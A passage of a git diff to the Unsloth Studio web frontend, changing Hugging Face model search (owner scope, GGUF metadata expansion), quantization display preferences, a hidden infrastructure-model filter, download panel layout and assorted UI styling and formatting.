-  const parts = s.split(",").map((p) => p.trim()).filter(Boolean);
+  const parts = s
+    .split(",")
+    .map((p) => p.trim())
+    .filter(Boolean);
   const hasMtp = parts.some((p) => p === "mtp" || p === "draft-mtp");
   const hasNgram = parts.some(
     (p) => p === "ngram" || p === "ngram-mod" || p === "ngram-simple",
@@ -411,7 +420,9 @@ export function saveSpeculativeType(value: string | null): void {
 function notifyHfTokenChanged(value: string): void {
   if (!canUseStorage()) return;
   try {
-    window.dispatchEvent(new CustomEvent(HF_TOKEN_CHANGED_EVENT, { detail: value }));
+    window.dispatchEvent(
+      new CustomEvent(HF_TOKEN_CHANGED_EVENT, { detail: value }),
+    );
   } catch {
     // ignore
   }
@@ -435,6 +446,12 @@ export type PendingModelSelection = {
    *  Scoped here (not the shared `ggufContextLength`) so a staged model's
    *  metadata never pollutes the currently-loaded model's context display. */
   contextLength?: number | null;
+  /** "Load on selection" on + un-cached GGUF: download via the manager (global
+   *  indicator) without opening the sheet, then load once the download finishes. */
+  autoLoad?: boolean;
+  /** Uncached non-GGUF HF repo: download the full snapshot via the manager
+   *  (variant null) the same way GGUF picks download a variant. */
+  isHubRepo?: boolean;
 };
 
 /** A pick is a GGUF (HF variant, native file, or a direct local .gguf) and so
@@ -449,6 +466,33 @@ export function hasGgufSource(x: {
   );
 }
 
+/** A local-disk model id: Unix absolute (/), relative (./ ../), tilde (~/),
+ *  Windows drive (C:\) or UNC (\\server). Shared so the loader and the
+ *  hub-repo predicate classify ids identically. */
+export function isLocalModelPath(id: string): boolean {
+  return /^(\/|\.{1,2}[\\/]|~[\\/]|[A-Za-z]:[\\/]|\\\\)/.test(id);
+}
+
+/** An uncached HF hub repo we can download as a full snapshot (non-GGUF
+ *  safetensors / MLX). Excludes GGUF sources, local paths, native files, LoRA,
+ *  and external provider models so none are mis-routed into a snapshot. */
+export function isDownloadableHubRepo(x: {
+  id: string;
+  source?: string;
+  isLora?: boolean;
+  ggufVariant?: string;
+  nativePathToken?: string;
+  isGguf?: boolean;
+}): boolean {
+  return (
+    x.source === "hub" &&
+    !hasGgufSource(x) &&
+    x.isLora !== true &&
+    x.nativePathToken == null &&
+    !isLocalModelPath(x.id)
+  );
+}
+
 export function isPendingGguf(pending: PendingModelSelection | null): boolean {
   return pending != null && hasGgufSource(pending);
 }
@@ -609,6 +653,11 @@ type ChatRuntimeStore = {
    *  `pendingSelection` (and opens settings) instead of loading immediately,
    *  so load settings can be set before the single load. */
   loadOnSelection: boolean;
+  /** Persisted: expand every On Device GGUF repo's quantizations by default
+   *  instead of waiting for a click. */
+  expandQuantizations: boolean;
+  /** Persisted: show non-downloaded quantizations too, not just downloaded. */
+  showAllQuantizations: boolean;
   /** A local model picked while `loadOnSelection` is off: staged, not loaded.
    *  The settings sheet shows its load knobs and a Load button. */
   pendingSelection: PendingModelSelection | null;
@@ -723,6 +772,8 @@ type ChatRuntimeStore = {
   resetModelSettingsToLoaded: () => void;
   setTensorParallel: (value: boolean) => void;
   setLoadOnSelection: (value: boolean) => void;
+  setExpandQuantizations: (value: boolean) => void;
+  setShowAllQuantizations: (value: boolean) => void;
   setPendingSelection: (selection: PendingModelSelection | null) => void;
   /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
    *  record the selection, and open the settings sheet. */
@@ -1035,6 +1086,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   tensorParallel: false,
   loadedTensorParallel: null,
   loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
+  expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false),
+  showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true),
   pendingSelection: null,
   loadedIsMultimodal: false,
   loadedIsDiffusion: false,
@@ -1176,7 +1229,9 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       // render gate would otherwise show old counters until the next completion.
       const checkpointChanged = state.params.checkpoint !== modelId;
       const pendingToClear =
-        checkpointChanged && state.params.checkpoint ? state.pendingSelection : null;
+        checkpointChanged && state.params.checkpoint
+          ? state.pendingSelection
+          : null;
       if (pendingToClear) {
         cancelStagedModelDownload(pendingToClear);
       }
@@ -1476,6 +1531,14 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     saveBool(CHAT_LOAD_ON_SELECTION_KEY, loadOnSelection);
     set({ loadOnSelection });
   },
+  setExpandQuantizations: (expandQuantizations) => {
+    saveBool(CHAT_EXPAND_QUANTIZATIONS_KEY, expandQuantizations);
+    set({ expandQuantizations });
+  },
+  setShowAllQuantizations: (showAllQuantizations) => {
+    saveBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, showAllQuantizations);
+    set({ showAllQuantizations });
+  },
   setPendingSelection: (pendingSelection) => set({ pendingSelection }),
   stageModel: (selection) => {
     // Refuse staging mid-load: post-load cleanup would silently drop the queued
@@ -1493,7 +1556,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       return {
         ...loadedBaselineSettings(s),
         pendingSelection: selection,
-        settingsPanelOpen: true,
+        // autoLoad downloads silently and loads on completion, so keep the sheet shut.
+        settingsPanelOpen: !selection.autoLoad,
         // Speculative starts from the standing default, not the loaded model's
         // mode, so a fresh pick doesn't inherit (and then carry, via the staged
         // Load's keepSpeculative) a forced MTP mode onto a model that may lack it.
@@ -1537,7 +1601,7 @@ export function resolveSpeculativeSettingsForLoad({
   const state = useChatRuntimeStore.getState();
   const speculativeType = usePersistedPreference
     ? readPersistedSpeculativeType()
-    : state.speculativeType ?? readPersistedSpeculativeType();
+    : (state.speculativeType ?? readPersistedSpeculativeType());
   return {
     speculativeType,
     specDraftNMax:
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index d9b69a1ef6..b8391e31e7 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -92,6 +92,8 @@ export interface GgufVariantsResponse {
   variants: GgufVariantDetail[];
   has_vision: boolean;
   default_variant: string | null;
+  /** Native max context from GGUF metadata; present once a variant is downloaded. */
+  context_length?: number | null;
 }
 
 export function isMultimodalResponse(
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index f4ce169bbe..64123bc2f5 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -37,12 +37,9 @@ import {
   type LocalModelInfo,
   useTrainingConfigStore,
 } from "@/features/training";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
 import { confirmRemoteCodeIfNeeded } from "@/features/security";
-import {
-  useDebouncedValue,
-  useHfModelSearch,
-  useHfTokenValidation,
-} from "@/hooks";
+import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
 import {
   AlertCircleIcon,
   ArrowDown01Icon,
@@ -285,9 +282,12 @@ export function ExportPage() {
     results: hfResults,
     isLoading: isLoadingHfModels,
     error: hfSearchError,
-  } = useHfModelSearch(debouncedModelQuery, {
+  } = useHubModelSearch(debouncedModelQuery, {
     accessToken: debouncedHfToken || undefined,
     excludeGguf: true,
+    // Curated unsloth listing by default, but a typed query searches the whole
+    // Hub (unsloth floated first) so non-unsloth base models stay selectable.
+    ownerScope: debouncedModelQuery.trim() ? "all" : "unsloth",
   });
   const { error: tokenValidationError, isChecking: isCheckingToken } =
     useHfTokenValidation(hfToken);
diff --git a/studio/frontend/src/features/hub/catalog/dot-tag.tsx b/studio/frontend/src/features/hub/catalog/dot-tag.tsx
index 8e6c9f97fc..9452a201d4 100644
--- a/studio/frontend/src/features/hub/catalog/dot-tag.tsx
+++ b/studio/frontend/src/features/hub/catalog/dot-tag.tsx
@@ -8,6 +8,7 @@ type DotTagTone =
   | "warning"
   | "danger"
   | "gguf"
+  | "mlx"
   | "checkpoint"
   | "adapter";
 
@@ -16,6 +17,7 @@ const TONE_CLASS: Record<DotTagTone, string> = {
   warning: "bg-status-warning",
   danger: "bg-status-danger",
   gguf: "bg-format-gguf",
+  mlx: "bg-format-mlx",
   checkpoint: "bg-format-checkpoint",
   adapter: "bg-format-adapter",
 };
@@ -24,10 +26,12 @@ export function DotTag({
   tone,
   label,
   className,
+  dotClassName,
 }: {
   tone: DotTagTone;
   label: string;
   className?: string;
+  dotClassName?: string;
 }) {
   return (
     <span
@@ -38,7 +42,11 @@ export function DotTag({
     >
       <span
         aria-hidden="true"
-        className={cn("inline-block size-1.5 shrink-0 rounded-full", TONE_CLASS[tone])}
+        className={cn(
+          "inline-block size-1.5 shrink-0 rounded-full",
+          TONE_CLASS[tone],
+          dotClassName,
+        )}
       />
       {label}
     </span>
diff --git a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
index ea3f158aa6..d089835c3d 100644
--- a/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/gguf-download-card.tsx
@@ -144,7 +144,9 @@ function QuantBadge({
       <span
         className={cn(
           CHIP_BASE,
-          "gap-1.5 cursor-help",
+          // `shrink` overrides CHIP_BASE's shrink-0 so a long file-path quant
+          // label can shrink and truncate instead of overflowing the row.
+          "min-w-0 max-w-full shrink gap-1.5 cursor-help",
           active ? CHIP_ACTIVE : CHIP_DEFAULT,
         )}
       >
@@ -155,12 +157,12 @@ function QuantBadge({
             className={cn("size-3.5 shrink-0", meta.iconClassName)}
           />
         )}
-        <span>{quant}</span>
+        <span className="min-w-0 truncate">{quant}</span>
       </span>
     ) : (
       <span
         className={cn(
-          "inline-flex cursor-help items-center gap-1.5 text-[12.5px] font-medium tracking-tight tabular-nums",
+          "inline-flex min-w-0 max-w-full shrink cursor-help items-center gap-1.5 text-[12.5px] font-medium tracking-tight tabular-nums",
           active ? "text-emerald-600 dark:text-emerald-400" : "text-foreground",
         )}
       >
@@ -171,7 +173,7 @@ function QuantBadge({
             className={cn("size-3.5 shrink-0", meta.iconClassName)}
           />
         )}
-        <span>{quant}</span>
+        <span className="min-w-0 truncate">{quant}</span>
       </span>
     );
   if (!showFit || tooltipMode === "none") return inner;
@@ -680,7 +682,7 @@ export function GgufDownloadCard({
                   Select quantization
                 </span>
               )}
-              <span className="ml-auto flex items-center gap-1.5 text-[12px] text-muted-foreground">
+              <span className="ml-auto flex shrink-0 items-center gap-1.5 text-[12px] text-muted-foreground">
                 {selected?.downloaded && (
                   <DotTag
                     tone="success"
diff --git a/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
index 460dba9613..d733049ec3 100644
--- a/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-detail-view.tsx
@@ -45,8 +45,16 @@ export function HubDetailView({
       <div
         ref={scrollRef}
         data-hub-scroll="true"
-        // Right margin nudges the scrollbar in from the pane's edge.
-        className="min-h-0 flex-1 overflow-x-hidden overflow-y-auto [overflow-anchor:none] mr-2 [scrollbar-gutter:stable] [scrollbar-width:thin]"
+        // Mirror the catalog's gutter strategy so the centered column lines up
+        // with the top bar: the full overlay reserves an equal both-edges gutter
+        // to stay symmetric; split pins a narrow pane so it nudges the scrollbar
+        // in from the edge with a right gutter only.
+        className={cn(
+          "min-h-0 flex-1 overflow-x-hidden overflow-y-auto [overflow-anchor:none] [scrollbar-width:thin]",
+          compact
+            ? "mr-2 [scrollbar-gutter:stable]"
+            : "[scrollbar-gutter:stable_both-edges]",
+        )}
       >
         <div
           className={cn(
diff --git a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
index ed83e46b36..7895a89254 100644
--- a/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
+++ b/studio/frontend/src/features/hub/catalog/hub-option-menu.tsx
@@ -214,7 +214,9 @@ export function HubOptionMenu<T extends string>({
                 }}
                 onPointerEnter={() => activateIndex(index)}
                 className={cn(
-                  "relative flex w-full min-w-0 cursor-pointer select-none items-center rounded-[12px] py-2 pr-8 pl-3 text-left text-sm leading-snug outline-none transition-colors",
+                  // 14px menu radius minus the 4px padding, so the hover nests
+                  // cleanly into the dropdown's corners.
+                  "relative flex w-full min-w-0 cursor-pointer select-none items-center rounded-[10px] py-2 pr-8 pl-3 text-left text-sm leading-snug outline-none transition-colors",
                 )}
               >
                 <span className="flex min-w-0 flex-1 items-center gap-2.5 overflow-hidden whitespace-normal break-words">
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 7c9071daad..c8adfb54f5 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -47,11 +47,11 @@ const SORT_OPTIONS: ReadonlyArray<{
   value: HfSortKey;
   label: string;
 }> = [
+  { value: "createdAt", label: "Newest" },
   { value: "trendingScore", label: "Trending" },
-  { value: "likes", label: "Most likes" },
   { value: "downloads", label: "Most downloads" },
   { value: "lastModified", label: "Recently updated" },
-  { value: "createdAt", label: "Newest" },
+  { value: "likes", label: "Most likes" },
 ];
 
 export const ModelsToolbar = memo(function ModelsToolbar({
diff --git a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
index 852c09ab5f..82a1f150d2 100644
--- a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
@@ -19,6 +19,24 @@ const SIZES: Record<AvatarSize, string> = {
   lg: "size-12 rounded-[15px] text-[16px]",
 };
 
+// Unsloth's own uploads (no upstream provider match) show the bundled Unsloth
+// brand avatar instead of a colored-initial tile, so they read as Unsloth even
+// in virtualized rows that never fetch the HF profile picture.
+const UNSLOTH_OWNER_LOGO: ProviderLogo = {
+  id: "unsloth",
+  name: "Unsloth",
+  logoPath: "/circle-logo-small.png",
+  treatment: "original",
+  background: "transparent",
+  fit: "cover",
+  // Used directly for the unsloth owner, never via prefix matching.
+  prefixes: [],
+};
+
+function isUnslothOwner(owner: string): boolean {
+  return owner.trim().toLowerCase() === "unsloth";
+}
+
 const AVATAR_IMAGE_RETRY_BASE_MS = 60_000;
 const AVATAR_IMAGE_RETRY_MAX_MS = 30 * 60_000;
 
@@ -68,6 +86,15 @@ export function OwnerAvatar({
       />
     );
   }
+  if (isUnslothOwner(owner)) {
+    return (
+      <ProviderLogoTile
+        provider={UNSLOTH_OWNER_LOGO}
+        size={size}
+        className={className}
+      />
+    );
+  }
   return (
     <DefaultAvatar
       owner={owner}
@@ -87,6 +114,9 @@ export function useAvatarImageUrl(
   if (provider) {
     return provider.treatment === "original" ? provider.logoPath : null;
   }
+  if (isUnslothOwner(owner)) {
+    return UNSLOTH_OWNER_LOGO.logoPath;
+  }
   return remoteUrl;
 }
 
diff --git a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
index 17c3f2ba34..fed8568f99 100644
--- a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
@@ -28,7 +28,8 @@ export function OwnerScopeToggle({
       onValueChange={onChange}
       ariaLabel="Publisher scope"
       align="end"
-      className="h-8 text-[11.5px]"
+      // Extra gap so the chevron sits a touch further from the label.
+      className="h-8 gap-1.5 text-[11.5px]"
     />
   );
 }
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
index 023cc50947..948b0c098d 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-panel.tsx
@@ -106,7 +106,7 @@ function DownloadRow({ jobKey }: { jobKey: string }) {
     job.state === "cancelled" ||
     job.state === "error";
   return (
-    <li className="flex flex-col gap-1.5 px-3 py-2.5">
+    <li className="flex flex-col gap-1.5 py-2.5 pl-4 pr-3">
       <div className="flex items-center gap-2">
         <span className="min-w-0 flex-1 truncate text-[12.5px] font-medium text-foreground">
           {job.repoId}
@@ -173,7 +173,9 @@ function DownloadRow({ jobKey }: { jobKey: string }) {
   );
 }
 
-export function DownloadManagerPanel() {
+export function DownloadManagerPanel({
+  positioned = true,
+}: { positioned?: boolean } = {}) {
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const enabled = canUseDownloadManager(pathname);
   const [collapsed, setCollapsed] = useState(false);
@@ -195,7 +197,14 @@ export function DownloadManagerPanel() {
       : "Downloads";
 
   return (
-    <div className="pointer-events-none fixed bottom-4 right-4 z-50">
+    <div
+      className={cn(
+        // Standalone: anchor bottom-right. In a shared stack (positioned=false)
+        // flow as a right-aligned row so overlays stack instead of overlapping.
+        "pointer-events-none",
+        positioned ? "fixed bottom-4 right-4 z-50" : "flex justify-end",
+      )}
+    >
       {collapsed ? (
         <Tooltip>
           <TooltipTrigger asChild={true}>
@@ -221,7 +230,7 @@ export function DownloadManagerPanel() {
         </Tooltip>
       ) : (
         <div className="hub-download-panel pointer-events-auto w-[min(400px,calc(100vw-2rem))] overflow-hidden">
-          <div className="flex items-center gap-2 border-b border-foreground/[0.07] px-3 py-2">
+          <div className="flex items-center gap-2 border-b border-foreground/[0.07] py-2 pl-4 pr-3">
             <span className="min-w-0 flex-1 truncate text-[12.5px] font-semibold text-foreground">
               {headerLabel}
             </span>
diff --git a/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts b/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
index 647c9adb5e..4e7be09f2c 100644
--- a/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
+++ b/studio/frontend/src/features/hub/hooks/use-hub-model-search.ts
@@ -1,14 +1,9 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { usePlatformStore } from "@/config/env";
 import type { PipelineType } from "@huggingface/hub";
 import { listModels } from "@huggingface/hub";
-import {
-  type CachedResult,
-  cachedModelInfo,
-  primeCacheFromListing,
-} from "../lib/hf-cache";
-import { fetchWithTimeout } from "../lib/network";
 import {
   startTransition,
   useCallback,
@@ -16,33 +11,44 @@ import {
   useMemo,
   useState,
 } from "react";
-import { pullBatch, useHubPaginatedSearch } from "./use-hub-paginated-search";
-import { usePlatformStore } from "@/config/env";
+import {
+  type CachedResult,
+  cachedModelInfo,
+  primeCacheFromListing,
+} from "../lib/hf-cache";
 import { EMBEDDING_TAGS, estimateSizeFromDtypes } from "../lib/hf-model-meta";
 import { detectBaseModel } from "../lib/model-capabilities";
 import { isGgufLike } from "../lib/model-identifiers";
+import { fetchWithTimeout } from "../lib/network";
 import {
-  classifyUnslothSupport,
-  excludedFormatTagsForDevice,
   type UnslothSupport,
   type UnslothSupportStatus,
+  classifyUnslothSupport,
+  excludedFormatTagsForDevice,
 } from "../lib/unsloth-support";
+import { pullBatch, useHubPaginatedSearch } from "./use-hub-paginated-search";
 
-const ALL_FIELDS: (
-  | "safetensors"
-  | "tags"
-  | "library_name"
-  | "config"
-  | "createdAt"
-  | "downloadsAllTime"
-)[] = [
+// "gguf" is not in the @huggingface/hub expandable-key type, but the listing
+// supports expand=gguf (see withGgufExpand) and listModels' pick() copies any
+// requested field through at runtime. Request it here so GGUF repos whose id
+// has no "<n>B" token (Kimi, MiniMax, GLM) still populate m.gguf.total for the
+// param chip / OOM badge. The cast bridges that single library type gap.
+const ALL_FIELDS = [
   "safetensors",
   "tags",
   "library_name",
   "config",
   "createdAt",
   "downloadsAllTime",
-];
+  "gguf",
+] as unknown as (
+  | "safetensors"
+  | "tags"
+  | "library_name"
+  | "config"
+  | "createdAt"
+  | "downloadsAllTime"
+)[];
 
 export { classifyUnslothSupport };
 export type { UnslothSupport, UnslothSupportStatus };
@@ -115,10 +121,28 @@ export interface HfModelResult {
 const DESC_ONLY_SORTS = new Set<HfSortKey>(["trendingScore"]);
 const HF_SEARCH_TIMEOUT_MS = 15_000;
 
+// The HF listModels lib doesn't whitelist gguf metadata, but the listing
+// supports it. Append expand=gguf so GGUF repos report a param count (used for
+// the size / OOM badge) even when the name has no "<n>B" token (Kimi, MiniMax,
+// GLM). Shared by every fetch path so the badge is consistent.
+function withGgufExpand(input: Parameters<typeof fetch>[0]): string {
+  const rawUrl =
+    typeof input === "string"
+      ? input
+      : input instanceof URL
+        ? input.toString()
+        : input.url;
+  const url = new URL(rawUrl);
+  if (!url.searchParams.getAll("expand").includes("gguf")) {
+    url.searchParams.append("expand", "gguf");
+  }
+  return url.toString();
+}
+
 function makeHfFetch(signal?: AbortSignal): typeof fetch {
   return (input, init) =>
     fetchWithTimeout(
-      input,
+      withGgufExpand(input),
       signal ? { ...init, signal } : init,
       HF_SEARCH_TIMEOUT_MS,
     );
@@ -149,7 +173,7 @@ function makeSortFetch(
     url.searchParams.set("direction", effectiveDir === "asc" ? "1" : "-1");
 
     return fetchWithTimeout(
-      url,
+      withGgufExpand(url),
       signal ? { ...init, signal } : init,
       HF_SEARCH_TIMEOUT_MS,
     );
@@ -450,7 +474,9 @@ function createChannelIterator(
     additionalFields: ALL_FIELDS,
     fetch: makeSortFetch(opts.sortBy, opts.sortDirection, opts.signal),
     sort: opts.sortBy,
-    ...(opts.accessToken ? { credentials: { accessToken: opts.accessToken } } : {}),
+    ...(opts.accessToken
+      ? { credentials: { accessToken: opts.accessToken } }
+      : {}),
   }) as AsyncGenerator<unknown>;
 }
 
@@ -564,7 +590,11 @@ export async function fetchChannelFirstPage(
       yield model;
     }
   }
-  const { items, done, scanned } = await pullBatch(primed(), mapModel, pageSize);
+  const { items, done, scanned } = await pullBatch(
+    primed(),
+    mapModel,
+    pageSize,
+  );
   return { results: items, scanned, done };
 }
 
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index de78ce7438..943aca5e9a 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -65,6 +65,7 @@ import {
   SECTION_TO_CHANNEL,
   findChannel,
 } from "./lib/channels";
+import { isHiddenModelId } from "./lib/hidden-models";
 import { inventoryRowMatches, tokenizeQuery } from "./lib/inventory-search";
 import {
   buildDiscoverRows,
@@ -576,9 +577,10 @@ export function ModelsPage() {
   const effectiveSort: HfSortKey =
     isFeedMode && liveListChannel ? liveListChannel.sort : sortBy;
   const effectiveDirection: HfSortDirection = isFeedMode ? "desc" : direction;
-  // Feed mode uses the live channel format so it does not hide non-matching rows.
-  const effectiveDiscoverFormat: ModelFormatFilter =
-    isFeedMode && liveListChannel ? liveListChannel.format : deferredFormatFilter;
+  // The format dropdown always filters the visible list, including the feed's
+  // "Latest" list, so the default (GGUF) hides fp8/safetensors and picking a
+  // format actually changes the rows.
+  const effectiveDiscoverFormat: ModelFormatFilter = deferredFormatFilter;
 
   const listChannel = useMemo<HfModelSearchChannel | null>(() => {
     if (!liveListChannel) return null;
@@ -683,6 +685,7 @@ export function ModelsPage() {
     if (isDatasetMode) return discoverRows;
     return discoverRows.filter(
       (row) =>
+        !isHiddenModelId(row.id) &&
         matchesFormat(detectResultFormat(row.result), effectiveDiscoverFormat) &&
         matchesCapability(row.capabilities, deferredCapabilityFilter) &&
         (!activeChannel?.finetunableOnly || isUnslothFinetunable(row.result)),
@@ -710,7 +713,9 @@ export function ModelsPage() {
         hubFeed.trending.results,
         effectiveCachedRows,
         effectiveLocalRows,
-      ).filter((row) => matchesFormat(row.result.isGguf, "gguf")),
+      )
+        .filter((row) => !isHiddenModelId(row.id))
+        .filter((row) => matchesFormat(row.result.isGguf, "gguf")),
     [hubFeed.trending.results, modelDiscoveryInventorySignature],
   );
   const feedRows = useMemo(() => {
diff --git a/studio/frontend/src/features/hub/hub.css b/studio/frontend/src/features/hub/hub.css
index 8fc3cc6a07..947dd8cb34 100644
--- a/studio/frontend/src/features/hub/hub.css
+++ b/studio/frontend/src/features/hub/hub.css
@@ -697,12 +697,20 @@
     box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
   }
 
+  html:not(.dark) .hub-tab-toggle-pill:hover {
+    background-color: #f3f3f3;
+  }
+
   html.dark .hub-tab-toggle-pill {
     background-color: color-mix(in srgb, var(--foreground) 10%, transparent);
     border: 0;
     box-shadow: none;
   }
 
+  html.dark .hub-tab-toggle-pill:hover {
+    background-color: color-mix(in srgb, var(--foreground) 18%, transparent);
+  }
+
   html:not(.dark) .hub-page .catalog-row {
     background-color: transparent;
     border-color: transparent;
diff --git a/studio/frontend/src/features/hub/lib/channels.ts b/studio/frontend/src/features/hub/lib/channels.ts
index 4106820c4d..944a42362e 100644
--- a/studio/frontend/src/features/hub/lib/channels.ts
+++ b/studio/frontend/src/features/hub/lib/channels.ts
@@ -48,7 +48,9 @@ export const CHANNEL_PRESETS: readonly ChannelPreset[] = [
     hint: "Freshly released models from the Unsloth channel.",
     owner: "unsloth",
     format: "all",
-    sort: "lastModified",
+    // Newest by creation date so the feed shows freshly released models, not
+    // ones merely re-touched (lastModified).
+    sort: "createdAt",
   },
   {
     id: "unsloth-safetensors",
diff --git a/studio/frontend/src/features/hub/lib/hidden-models.ts b/studio/frontend/src/features/hub/lib/hidden-models.ts
new file mode 100644
index 0000000000..2dbe257947
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/hidden-models.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Infra models hidden from every browse/preview list (Hub discover and the chat
+// model selector). Mirrors the backend `_is_hidden_model`: the RAG embedding
+// model and the llama.cpp validation probe are not usable chat models. Per-repo
+// file/download views are NOT filtered, so a reinstall still shows the model as
+// already downloaded.
+const HIDDEN_NEEDLES = [
+  "bge-small-en-v1.5", // RAG embedder: unsloth/bge-small-en-v1.5[-GGUF]
+  "ggml-org/models", // llama.cpp validation probe repo
+  "stories260k.gguf", // probe filename (carries .gguf so it stays specific)
+];
+
+/** True if any id/path is a hidden infra model. */
+export function isHiddenModelId(
+  ...values: (string | null | undefined)[]
+): boolean {
+  return values.some((v) => {
+    if (!v) return false;
+    const lower = v.toLowerCase();
+    return HIDDEN_NEEDLES.some((needle) => lower.includes(needle));
+  });
+}
diff --git a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
index 415b84a7ed..6404ddd40f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/dataset-step.tsx
@@ -35,12 +35,9 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import {
-  useDebouncedValue,
-  useHfDatasetSearch,
-  useHfTokenValidation,
-  useInfiniteScroll,
-} from "@/hooks";
+import { useDebouncedValue, useHfTokenValidation } from "@/hooks";
+import { useHubDatasetSearch } from "@/features/hub/hooks/use-hub-dataset-search";
+import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import { cn } from "@/lib/utils";
 import {
   HfDatasetSubsetSplitSelectors,
@@ -117,8 +114,9 @@ export function DatasetStep() {
     isLoading,
     isLoadingMore,
     fetchMore,
+    scannedCount,
     error: hfSearchError,
-  } = useHfDatasetSearch(debouncedQuery, {
+  } = useHubDatasetSearch(debouncedQuery, {
     modelType,
     accessToken: hfToken || undefined,
   });
@@ -129,10 +127,11 @@ export function DatasetStep() {
   const resultIds = useMemo(() => hfResults.map((r) => r.id), [hfResults]);
 
   const comboboxAnchorRef = useRef<HTMLDivElement>(null);
-  const { scrollRef, sentinelRef } = useInfiniteScroll(
-    fetchMore,
-    hfResults.length,
-  );
+  const { scrollRef, sentinelRef } = useHubInfiniteScroll(fetchMore, scannedCount, {
+    isFetching: isLoading || isLoadingMore,
+    resultCount: hfResults.length,
+    resetKey: debouncedQuery,
+  });
 
   const handleFileUpload = () => {
     setUploadedFile("my_dataset.jsonl");
diff --git a/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx b/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
index f42b83d14a..a5ce25dd32 100644
--- a/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
@@ -37,10 +37,10 @@ import { MODEL_TYPE_TO_HF_TASK, PRIORITY_TRAINING_MODELS, applyPriorityOrdering
 import {
   useDebouncedValue,
   useGpuInfo,
-  useHfModelSearch,
   useHfTokenValidation,
-  useInfiniteScroll,
 } from "@/hooks";
+import { useHubModelSearch } from "@/features/hub/hooks/use-hub-model-search";
+import { useHubInfiniteScroll } from "@/features/hub/hooks/use-hub-infinite-scroll";
 import { extractParamLabel } from "@/lib/model-size";
 import { formatCompact } from "@/lib/utils";
 import {
@@ -93,12 +93,16 @@ export function ModelSelectionStep() {
     isLoading,
     isLoadingMore,
     fetchMore,
+    scannedCount,
     error: hfSearchError,
-  } = useHfModelSearch(debouncedQuery, {
+  } = useHubModelSearch(debouncedQuery, {
     task,
     accessToken: debouncedHfToken || undefined,
     excludeGguf: true,
     priorityIds: PRIORITY_TRAINING_MODELS,
+    // Curated unsloth listing by default, but a typed query searches the whole
+    // Hub (unsloth floated first) so non-unsloth base models stay selectable.
+    ownerScope: debouncedQuery.trim() ? "all" : "unsloth",
   });
 
